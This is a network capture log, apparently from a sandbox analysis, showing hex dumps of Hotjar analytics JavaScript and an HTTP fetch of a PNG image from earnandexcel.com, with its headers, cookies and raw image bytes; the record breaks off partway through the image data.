2024-04-11 21:26:51 UTC	16384	IN	Data Raw: 5c 73 40 22 5d 2b 29 2a 29 7c 28 22 2e 2b 22 29 29 40 28 28 5c 5b 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5d 29 7c 28 28 5b 61 2d 7a 41 2d 5a 5c 2d 30 2d 39 5d 2b 5c 2e 29 2b 5b 61 2d 7a 41 2d 5a 5d 7b 32 2c 7d 29 29 24 2f 2e 74 65 73 74 28 65 29 7d 29 2c 22 75 74 69 6c 73 2e 76 61 6c 69 64 61 74 65 45 6d 61 69 6c 22 29 2c 68 6a 2e 74 72 79 43 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 6a 2e 75 73 65 72 44 65 76 69 63 65 54 79 70 65 7c 7c 28 68 6a 2e 75 73 65 72 44 65 76 69 63 65 54 79 70 65 3d 28 30 2c 72 2e 4b 29 28 29 2c 22 6d 6f 62 69 6c 65 22 3d 3d 3d 68 6a 2e 75 73 65 72 44 65 76 69 63 65 54 79 70 65 26 26 28 68 6a 2e 75 Data Ascii: \s@"]+)*)\|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}),"utils.validateEmail"),hj.tryCatch((function(){return hj.userDeviceType\|\|(hj.userDeviceType=(0,r.K)(),"mobile"===hj.userDeviceType&&(hj.u
2024-04-11 21:26:51 UTC	16384	IN	Data Raw: 6e 67 74 68 7d 7d 29 2c 6e 2e 6c 65 6e 67 74 68 3e 30 26 26 63 28 29 29 7d 2c 68 6a 2e 69 6e 69 74 69 61 6c 56 69 73 69 74 44 61 74 61 53 65 6e 74 26 26 65 2e 61 63 74 69 76 61 74 65 28 29 2c 65 7d 28 29 2c 21 30 29 7d 29 2c 22 63 6f 6d 6d 61 6e 64 22 29 28 29 7d 2c 31 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 3b 76 61 72 20 72 3d 6e 28 34 37 38 38 29 2c 6f 3d 6e 28 36 39 33 39 29 2c 69 3d 6e 28 35 36 35 38 29 2c 61 3d 6e 28 36 38 34 39 29 2c 73 3d 6e 28 36 37 34 32 29 2c 63 3d 6e 28 37 36 39 38 29 2c 75 3d 6e 28 37 32 34 29 2c 6c 3d 6e 28 33 38 38 33 29 2c 68 3d 6e 28 35 31 34 38 29 3b 68 6a 2e 74 72 79 43 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 Data Ascii: ngth}}),n.length>0&&c())},hj.initialVisitDataSent&&e.activate(),e}(),!0)}),"command")()},1229:function(e,t,n){"use strict";n.r(t);var r=n(4788),o=n(6939),i=n(5658),a=n(6849),s=n(6742),c=n(7698),u=n(724),l=n(3883),h=n(5148);hj.tryCatch((function(){return h
2024-04-11 21:26:51 UTC	16384	IN	Data Raw: 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 29 7d 2c 64 65 62 75 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 74 26 26 75 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 22 23 32 61 39 64 38 66 22 3b 63 21 3d 65 26 26 73 26 26 28 63 6f 6e 73 6f 6c 65 2e 67 72 6f 75 70 45 6e 64 28 29 2c 73 3d 21 31 29 2c 63 3d 65 2c 76 6f 69 64 20 30 21 3d 3d 68 6a 2e 64 65 62 75 67 26 26 68 6a 2e 64 65 62 75 67 2e 69 73 4f 6e 28 29 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 61 28 65 29 3f 68 6a 2e 68 71 2e 65 61 63 68 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 68 6a 2e 6c 6f 67 2e 64 65 62 75 67 28 65 2b 22 3a 20 22 2b 6e 2c 74 2c 6e 75 6c 6c 29 7d 29 29 3a 28 65 3d 74 Data Ascii: n:function(){},error:function(){}})},debug:function(e,t,n){var r=t&&u[t.toLowerCase()]\|\|"#2a9d8f";c!=e&&s&&(console.groupEnd(),s=!1),c=e,void 0!==hj.debug&&hj.debug.isOn()&&("object"===a(e)?hj.hq.each(e,(function(e,n){hj.log.debug(e+": "+n,t,null)})):(e=t
2024-04-11 21:26:51 UTC	16384	IN	Data Raw: 2c 74 68 69 73 2e 6f 62 73 65 72 76 65 72 43 61 6c 6c 62 61 63 6b 3d 68 6a 2e 74 72 79 43 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 26 26 65 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 74 3d 6e 65 77 20 56 28 6e 2e 72 6f 6f 74 2c 65 2c 6e 2e 6f 70 74 69 6f 6e 73 2e 6f 6c 64 50 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 29 2c 72 3d 6e 65 77 20 71 28 74 29 3b 6e 2e 63 68 61 6e 67 65 73 54 6f 52 65 70 6f 72 74 28 72 29 26 26 6e 2e 63 61 6c 6c 62 61 63 6b 28 72 29 7d 7d 29 2c 22 4d 75 74 61 74 69 6f 6e 53 75 6d 6d 61 72 79 2e 6f 62 73 65 72 76 65 72 43 61 6c 6c 62 61 63 6b 22 29 2c 74 68 69 73 2e 72 65 63 6f 6e 6e 65 63 74 3d 68 6a 2e 74 72 79 43 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 69 66 28 6e 2e 63 6f 6e 6e Data Ascii: ,this.observerCallback=hj.tryCatch((function(e){if(e&&e.length){var t=new V(n.root,e,n.options.oldPreviousSibling),r=new q(t);n.changesToReport(r)&&n.callback(r)}}),"MutationSummary.observerCallback"),this.reconnect=hj.tryCatch((function(){var e;if(n.conn
2024-04-11 21:26:51 UTC	16384	IN	Data Raw: 26 22 63 6c 61 73 73 22 21 3d 3d 61 5b 75 5d 2e 6e 61 6d 65 7c 7c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 61 5b 75 5d 2e 6e 61 6d 65 2c 61 5b 75 5d 2e 76 61 6c 75 65 29 2c 69 5b 65 2e 70 61 72 65 6e 74 53 65 6c 65 63 74 6f 72 5d 2b 3d 61 5b 75 5d 2e 6e 61 6d 65 2b 27 3d 22 27 2b 61 5b 75 5d 2e 76 61 6c 75 65 2b 27 22 20 27 3b 69 5b 65 2e 70 61 72 65 6e 74 53 65 6c 65 63 74 6f 72 5d 2b 3d 22 3e 20 2a 2f 22 2c 63 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 62 6c 6f 62 2d 68 61 73 68 2d 22 2b 73 29 2c 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 63 2c 6f 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 7d 6f 3d 63 7d 69 5b 65 2e 70 61 72 65 6e 74 53 65 6c 65 63 74 6f 72 5d 3d 69 5b 65 2e 70 61 72 65 6e 74 53 65 6c 65 63 74 6f Data Ascii: &"class"!==a[u].name\|\|c.setAttribute(a[u].name,a[u].value),i[e.parentSelector]+=a[u].name+'="'+a[u].value+'" ';i[e.parentSelector]+="> */",c.classList.add("blob-hash-"+s),o.parentNode.insertBefore(c,o.nextSibling)}o=c}i[e.parentSelector]=i[e.parentSelecto
2024-04-11 21:26:51 UTC	16384	IN	Data Raw: 61 67 65 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 68 6a 2e 6c 6f 67 2e 77 61 72 6e 49 66 45 6d 70 74 79 28 74 2c 22 74 72 79 53 74 6f 72 65 50 61 67 65 43 6f 6e 74 65 6e 74 3a 20 63 6f 6e 74 65 6e 74 22 29 2c 68 6a 2e 6c 6f 67 2e 77 61 72 6e 49 66 45 6d 70 74 79 28 6e 2c 22 74 72 79 53 74 6f 72 65 50 61 67 65 43 6f 6e 74 65 6e 74 3a 20 75 72 6c 4d 44 35 22 29 2c 65 2e 73 74 6f 72 65 50 61 67 65 43 6f 6e 74 65 6e 74 28 74 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 63 6f 6e 74 65 6e 74 5f 75 75 69 64 3b 74 3f 28 79 3d 21 30 2c 75 2e 79 2e 73 65 74 28 22 70 61 67 65 43 6f 6e 74 65 6e 74 22 2c 7b 75 75 69 64 3a 74 2c 6d 64 35 3a 6e 7d 29 29 3a 68 6a 2e 6c 6f 67 2e 77 61 72 6e 28 22 45 78 70 65 63 74 69 6e 67 20 Data Ascii: ageContent=function(t,n){hj.log.warnIfEmpty(t,"tryStorePageContent: content"),hj.log.warnIfEmpty(n,"tryStorePageContent: urlMD5"),e.storePageContent(t,(function(e){var t=e.content_uuid;t?(y=!0,u.y.set("pageContent",{uuid:t,md5:n})):hj.log.warn("Expecting
2024-04-11 21:26:51 UTC	16384	IN	Data Raw: 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 2c 5f 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 3b 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 72 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 72 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 Data Ascii: ction(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_(e)}function C(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"i
2024-04-11 21:26:51 UTC	16384	IN	Data Raw: 6e 75 6c 6c 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 69 6e 53 61 6d 70 6c 65 29 26 26 76 6f 69 64 20 30 21 3d 3d 64 26 26 64 2c 43 3d 6e 75 6c 6c 21 3d 3d 28 70 3d 28 6e 75 6c 6c 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 72 65 63 6f 72 64 69 6e 67 45 6e 61 62 6c 65 64 29 26 26 5f 29 26 26 76 6f 69 64 20 30 21 3d 3d 70 26 26 70 2c 7b 69 64 3a 77 2c 63 72 65 61 74 65 64 3a 53 2c 69 6e 53 61 6d 70 6c 65 3a 5f 2c 73 65 73 73 69 6f 6e 69 7a 65 72 42 65 74 61 45 6e 61 62 6c 65 64 3a 6e 75 6c 6c 21 3d 3d 28 76 3d 6e 75 6c 6c 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 73 65 73 73 69 6f 6e 69 7a 65 72 42 65 74 61 45 6e 61 62 6c 65 64 29 26 26 76 6f 69 64 20 30 21 3d 3d 76 26 26 76 2c 72 65 63 6f 72 64 69 6e 67 45 6e 61 62 6c 65 64 3a 43 2c 73 65 73 73 69 6f 6e 52 65 6a 65 Data Ascii: null==i?void 0:i.inSample)&&void 0!==d&&d,C=null!==(p=(null==i?void 0:i.recordingEnabled)&&_)&&void 0!==p&&p,{id:w,created:S,inSample:_,sessionizerBetaEnabled:null!==(v=null==i?void 0:i.sessionizerBetaEnabled)&&void 0!==v&&v,recordingEnabled:C,sessionReje

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.17	49940	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1010	OUT	GET /wp-content/uploads/kiran.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:51 UTC	906	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:51 GMT Content-Type: image/png Content-Length: 149917 Connection: close CF-Ray: 872e0ea8bddd43a4-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dff606-2499d" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 05:30:46 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DeGytYqBJX17Nsu4uwdxDYd%2F8q4yk8AGlt1A0zzfBFZX0tiWYVH8uA%2FH4bZlt4ktZBHw0kXEcXvle7vSoxnp2VHQk62sNlGQfV0m0ceH67fSO%2FmAahYiZK9S4y6GsVFIaWY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:51 UTC	463	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 bc 00 00 02 eb 08 03 00 00 00 2b ef a4 3e 00 00 03 00 50 4c 54 45 10 09 0e 17 0d 0f 0e 06 08 20 18 18 01 01 04 1f 12 17 07 04 09 1d 0f 11 07 0a 0d 27 19 19 28 20 22 0f 10 10 30 26 26 19 11 15 08 02 03 13 07 09 2b 1e 1d 25 19 1e 2d 22 25 30 21 20 fb fd fc 1a 09 0b 25 1f 20 1f 1d 1e 39 28 26 30 41 39 44 5f 52 31 29 2a 18 1a 19 e0 c0 a8 23 0f 0c 2c 3b 32 28 27 26 3d 2f 2e 39 23 20 4e 69 60 29 15 11 39 2a 2d 28 2f 2a 44 2e 28 3a 54 48 47 65 59 e2 c3 ae e7 cb bc 67 69 67 de bb a2 3c 4d 46 c4 83 67 32 1b 17 86 82 81 40 28 26 46 3b 33 da b1 96 d6 a6 89 32 47 41 d8 ab 8f e4 c7 b5 0b 1b 12 3d 47 40 2c 34 2e 45 54 4d 45 4f 44 84 8a 8e 47 42 3e 7a 94 85 d0 99 7c 44 34 2e 4e 5c 4d 1e 28 22 bf 7c 60 3b 43 39 5f Data Ascii: PNGIHDR+>PLTE '( "0&&+%-"%0! % 9(&0A9D_R1)#,;2('&=/.9# Ni`)9-(/*D.(:THGeYgig<MFg2@(&F;32GA=G@,4.ETMEODGB>z\|D4.N\M("\|`;C9_
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: b6 ad c9 c0 5f 59 5a 7f 47 31 d5 e4 e0 9c 5a 43 73 67 5d 70 4a 3b 96 92 91 5f 61 62 5d 5e 50 ec d5 cb a6 c8 be 6a 61 54 8a 8d 8d 40 1f 14 b1 aa a7 4e 48 4a 6a 6f 70 a9 c3 b7 a1 bc af 71 95 89 9d 63 52 9e 97 95 60 48 3d 90 a8 98 be 6f 59 7f 84 88 82 79 6e ef da d3 55 51 53 8f 4f 3a a5 9a 90 79 7e 80 69 8d 81 9b b6 a7 cf df da bf d5 ce 79 73 61 8e 80 78 76 82 72 95 bc af 95 af 9f 7d 87 79 c1 8b 75 94 99 a0 c7 da d4 b6 d1 ca b1 a3 9a 7e 54 45 84 8f 81 7b 9a 9f 8d 5c 4e 96 b4 b3 6c 59 47 72 91 95 c5 95 80 70 77 79 83 b1 a3 b7 61 4e 94 3e 2b a1 74 65 ae 54 41 8e 6a 61 b3 80 6d 66 87 8c a4 46 36 48 68 70 8d 64 27 9b a0 a5 81 2f 20 cb a1 8b 0c 38 21 88 a6 a9 53 74 78 bb ce c6 a3 78 2f a4 a8 ad 0c 4d 2c b0 8d 46 4d 4f 65 26 1b 31 8b 78 47 55 87 74 cf ae 9d ba b3 Data Ascii: _YZG1ZCsg]pJ;_ab]^PjaT@NHJjopqcR`H=oYynUQSO:y~iysaxvr}yu~TE{\NlYGrpwyaN>+teTAjamfF6Hhpd'/ 8!Stxx/M,FMOe&1xGUt
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 80 b7 ff dd a6 84 86 e6 de 77 c5 77 4b 78 37 56 ce bb 21 63 04 ec 6a 8b 93 3e e4 04 2b bf db ba b7 b9 f1 a2 3a bb ca 6d 2a 11 ae 97 b4 1e 10 a4 0c 5f 37 db 1d c7 77 04 b2 66 c1 f9 e6 52 0d 61 d7 2c d5 d9 bd 7f db fd 0c f9 67 6a c4 9f c9 f0 4d 79 1a 0a 74 dd 7d 03 dd 46 6f 3f 25 ec 1a b9 c1 2e e8 4e 17 e4 aa df d2 03 5a 87 b5 ac 57 68 14 ec ba dc 78 c3 75 c1 16 6e 15 5d 2d c8 a5 29 ba e9 bb e8 a4 18 ef 49 4e 26 95 2a e0 74 2c 91 9a af bd 47 c7 1b d0 8b f5 1e aa e8 b5 6b f0 de 1b 57 14 5f e0 3d 97 e4 26 bb 34 24 f0 12 4d 84 dd 33 87 26 06 5e 01 5d 34 6c f0 6e 7f ed c3 a3 1d 09 af e4 85 8f 2f 5e bc 70 f1 22 b6 7b d1 62 03 b9 e1 44 c1 ee 97 e6 b4 9f 6a 71 1a b1 81 12 7a e7 f7 8f 35 f6 ac 0b 2f 74 02 ef 98 c0 3b 7c 69 70 66 28 e1 4d 76 9d 5e 49 0e 34 92 03 f8 Data Ascii: wwKx7V!cj>+:m_7wfRa,gjMyt}Fo?%.NZWhxun]-)IN&t,GkW_=&4$M3&^]4ln/^p"{bDjqz5/t;\|ipf(Mv^I4
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: e7 e7 df 3a 0f ba b8 ee f9 25 19 51 4e da 2c 3a 50 23 5a c8 c7 05 73 de 7f b1 de 8d b2 d8 70 1d 76 87 07 1d de 8d 6d e1 bd 9b 3f 94 20 bc c1 57 cc 88 0b 06 ef 7d 15 bb 7d b0 8b c7 05 bc 10 c2 f2 95 a1 ab 4a c6 0a 74 0d a3 5e b5 43 06 53 9e 27 be 88 7c 20 f2 e0 01 bf 9e 79 ad 54 f2 3e 7a 46 87 c8 0e f5 18 ee cb 12 bd c1 af e1 8b 1a 92 79 29 69 f2 90 23 f8 8e ca 22 6f 03 e3 55 e7 dd ee f0 ba 92 5e c0 2d e3 6e b2 8b 95 86 02 5f 34 e1 89 01 7c 8b d0 10 ab 61 15 b9 a7 40 57 99 b5 c1 02 83 db ae 1a ef 4d 71 de 39 e0 9d ba 71 e3 2c 70 41 6f e4 5e 08 d5 d0 1b ce eb 7c 07 d6 20 2b 32 78 a1 17 7e 55 4e 31 99 84 26 f2 db 20 ba a0 c1 8f b7 15 32 83 97 d4 f0 da 87 1f 1e 6d 81 d7 e8 25 ee 1a bb 2e 4e 9c 5d 84 ef 7e 49 74 70 c1 ef a7 23 b7 68 23 c6 af 5b ef d0 b6 4e e0 Data Ascii: :%QN,:P#Zspvm? W}}Jt^CS'\| yT>zFy)i#"oU^-n_4\|a@WMq9q,pAo^\| +2x~UN1& 2m%.N]~Itp#h#[N
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 76 15 d9 fb e2 e6 9a ef 0c 80 c5 2d 49 8d d1 92 73 27 3b 42 8a 76 ec 96 67 5c 05 ba 25 be ee 9a e1 bd 68 46 76 4c 3e c3 76 4a a3 37 62 03 2d a5 b8 9a e2 75 03 38 a9 f6 eb 8b cd 9c b8 ec 71 50 45 db b5 d1 b7 d3 a8 31 5d 6d c8 d4 bb ff c5 ba ef 2e bf 0e be c9 ee 92 6c 73 94 c4 0b bc b3 57 d9 1b 90 f4 a2 23 4a 2e 84 fb 7d e1 72 ba 06 bb c0 4b 25 bb 89 af 4b d9 a5 a7 f1 82 9d d3 2b 00 87 f3 5a 3b 28 e6 cb 28 01 c0 78 e6 67 03 7d 4c d5 34 f7 3a bb b6 18 4c e7 44 1f 58 16 d9 19 b6 bb 4b d1 65 a0 01 af ea 28 ee 0b bb 0a af b1 8b 30 de 6b 4b d7 56 90 65 86 a5 95 13 b5 d0 2b 0e 6b 0d 17 a6 68 23 74 8e 66 bd 4e 6f bf d2 5b 6a 4f 44 de 4b 63 43 cc d7 d6 4d 0d 82 6e 46 de 0c bc 94 b0 6b 00 a3 3f 40 57 f9 d5 fc 68 21 d3 27 ff 38 6b 21 25 d6 6e 10 94 ec 3a bf be e6 b0 Data Ascii: v-Is';Bvg\%hFvL>vJ7b-u8qPE1]m.lsW#J.}rK%K+Z;((xg}L4:LDXKe(0kKVe+kh#tfNo[jODKcCMnFk?@Wh!'8k!%n:
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: ad bc 57 d5 1e de 5c 25 e3 b3 13 66 bd 72 65 58 af d3 8b 9c de 27 a8 8a 5d e0 15 bd f8 08 ec da 0c 4e f7 a2 43 2f f8 be 36 fa 1a 7a e9 11 b6 44 3a bc 44 5e 45 37 50 54 7c 19 c3 79 c3 5f 43 e3 f2 54 14 2f 28 bc d0 fb 96 ae 98 41 af a2 8b 74 95 57 9c f7 92 a6 86 56 e3 25 2e 58 37 74 db f8 ae 9d fc d1 b7 99 00 c1 c1 9f 05 65 b3 5e c1 37 f7 68 a1 cd a8 05 dd 7c 68 e9 38 c0 45 5d 69 bb a1 b8 d5 bb 35 a3 83 a8 06 af e2 9b 04 33 04 ba bc 90 f8 52 bc 28 af 58 f7 67 69 5c 83 80 57 d9 35 70 19 f5 e8 6a 9f 76 97 13 5d 3c 17 72 97 48 bc eb 3b 2f b9 01 39 bb b1 ce 90 ec aa f3 a2 d8 d3 a0 e4 2e 3a be 82 2e dd 9a b0 ac f0 aa 81 86 ce ae c7 2e 8f 8d 5d 85 77 f1 fb af b1 5e e0 6d 4b 6f dc 66 0e db 85 5d 87 77 58 d1 d5 97 d3 7b 5d c7 5e da 09 bc cb d0 4b 6a d0 d8 f0 1d f5 Data Ascii: W\%freX']NC/6zD:D^E7PT\|y_CT/(AtWV%.X7te^7h\|h8E]i53R(Xgi\W5pjv]<rH;/9.:..]w^mKof]wX{]^Kj
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 3f 8b d0 60 f0 da df 81 ae c0 97 66 37 21 bc a1 64 57 d4 0e e2 b4 dd c7 f1 5d d8 55 78 f7 ba f1 a6 5e d7 9a d7 0e b8 25 b9 c2 aa 6b c1 0a e7 65 b4 e5 86 a0 77 56 e5 f0 12 18 00 37 8d b7 4e 2e a5 aa 39 6f ba 6e 72 4b a3 04 dd 93 69 9b a9 e4 55 0f 7e 2e 3f 11 df fd fe dc 27 9f c8 87 dc 35 37 dc 99 98 b8 63 0b 0e b1 74 a1 f0 46 ec 0d 7a 6b ec de 40 ec 36 2b 83 31 ec 06 bc d0 eb a1 f7 a9 ef 04 5d 08 5e a5 19 bf e6 b9 78 af 27 5e 8c b7 39 2c f4 ea bc 41 04 b6 71 47 19 89 f3 1e 50 7a 87 07 c7 1e de ce de d4 41 9f ae 91 82 cb d4 a0 e8 32 04 bc c9 6e fa ae 3f b4 2d 3a 8c c6 a9 f5 f0 de 08 bb 0e 6f a6 5f c4 d8 1d 8a 7b 14 ff 4a 6c 4d 5b dd 7b 37 ab ba ea f8 a6 df 4a 25 ba 8f 6a d9 15 05 c2 78 ee e3 3b a4 60 17 e3 b5 cc 3b bd 77 3a e9 85 d6 79 19 2e ce bb 82 5c bb Data Ascii: ?`f7!dW]Ux^%kewV7N.9onrKiU~.?'57ctFzk@6+1]^x'^9,AqGPzA2n?-:o_{JlM[{7J%jx;`;w:y.\
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: d0 35 76 13 5e 56 1b ee 1c 66 36 16 f4 66 70 80 4a 2a f8 15 05 bb fe e7 0b 7c b1 5f 91 42 3d b7 a1 c1 22 39 f0 e6 94 ed 96 3b af a0 4b 7f 41 c8 a5 64 58 8a c8 bb 9d 15 84 c1 0a 5f f8 75 0d c0 b0 95 08 e3 bd f0 31 f4 ea 1d 8a c1 ed 3a 5f 13 7a 73 b6 56 7c f5 7f 7e ee 27 e7 6a 21 03 57 09 36 f9 8e 87 32 36 c8 f3 9b b3 a4 19 bb 28 d8 95 d8 20 4e d9 a0 5c 6b dc 36 51 a6 a3 ee ae 2e df ff 03 b7 91 1c d8 16 e1 5a 07 62 bc 17 74 1f 6d cd bc b8 6e 61 bc d3 6f 80 ef fb cb 28 7c 57 ec 36 95 69 f7 16 ca f9 18 70 1a bd 58 2e a5 b3 b6 71 a5 d7 d8 85 e2 11 67 d7 d7 cb a4 42 8a 09 7c 8c 43 47 de c8 95 9c 5a 59 ef f7 b7 01 50 b5 d8 12 1e a8 35 f2 4b cf 69 b9 ce 39 bb 1f b8 f1 be 77 ea c6 9d 9d 4f b0 d3 11 7a 75 c9 41 ee 49 23 dd 1f 19 8a 68 a0 5b 2d 8d 5d 53 f0 8b 20 57 Data Ascii: 5v^Vf6fpJ*\|_B="9;KAdX_u1:_zsV\|~'j!W626( N\k6Q.Zbtmnao(\|W6ipX.qgB\|CGZYP5Ki9wOzuAI#h[-]S W
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 8c 11 1e 0c df e0 37 0d 58 f9 fd 58 22 ef f5 80 97 a5 b2 3d c0 57 6d 82 24 34 48 e3 d7 56 49 e9 79 4e db 90 b1 cb b3 da 52 5c 64 d1 97 21 36 3b 58 10 be 07 25 bd 09 af 90 8b 1a 41 ad 97 a0 ca e8 cf ae 1f 79 0b 7c f3 2e b1 41 ab e7 99 83 ef 17 ad b5 df fa 2d b6 9a f3 42 ef de 37 64 a9 32 8d 97 e2 b3 af 81 6e c2 5b f9 ae 6d 36 a7 89 94 de 88 0e 94 9d 21 c3 37 ee 0e 07 bb 3b 0b 05 bc d0 6b ec da 4c 0d 65 60 10 37 55 1e 83 5e 8a 85 88 08 17 e7 50 85 ae 0b 80 13 5f 0f 0d e2 db a7 6e 1c d6 d4 f0 eb af c7 8e fd ce 27 21 1e d9 39 a1 d6 2b fc 1a ba 8b f4 00 38 95 30 e3 ba a7 90 4f e0 e6 36 74 3f 13 d6 ab b9 41 e1 d5 4f 03 a1 6b d7 c4 70 11 f8 d2 e6 f9 76 12 e0 95 df 77 c9 ef a6 82 a2 3d 81 ef 9a df 16 76 7d ff 69 f5 5f 5b 29 bb 24 f0 ea 3a 2f ef 4a f3 b5 a9 1a 8a Data Ascii: 7XX"=Wm$4HVIyNR\d!6;X%Ay\|.A-B7d2n[m6!7;kLe`7U^P_n'!9+80O6t?AOkpvw=v}i_[)$:/J
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: c3 67 d9 e7 16 da f8 fe c6 20 78 13 fc 72 a1 32 5f d9 6f 38 ef 80 d5 54 9e 1b 34 bf 21 c0 75 e7 dd fc 14 ec 72 31 49 3a f4 fa fa 53 67 7d 33 a7 9d 96 a1 b7 ce 1c 05 5b 93 9f f5 ce 4c 34 0b bd 16 1c a0 57 12 bb 4b 6a 1b d3 52 f8 e6 f9 c4 9e 79 07 05 2f e6 ab 4e 32 e0 8d 53 28 93 dd b2 5d b1 ab d8 10 bf d0 49 fc 4e 95 f1 52 69 4c 22 da 6e 64 db e5 75 00 f8 06 bd 3e 4b 72 2e a7 a3 27 bc 48 b3 52 11 3b c6 c9 79 7d 86 0d be cb e5 fb 3f 72 51 fc 2a 7c 45 af 00 f6 be 85 73 0d 5f 67 d7 4f 41 35 76 1d dd 58 39 6e d6 5b ce 8b f1 8a dd 26 32 84 a3 52 3a 7a 2d bf 8a 5d 83 97 1f 0a 72 6f 49 f1 1a f8 42 6f cd 27 23 35 9c 4b 47 d9 f9 c0 9b 3a ff 3a fa ca 12 de 0e 5d a9 67 c2 48 f4 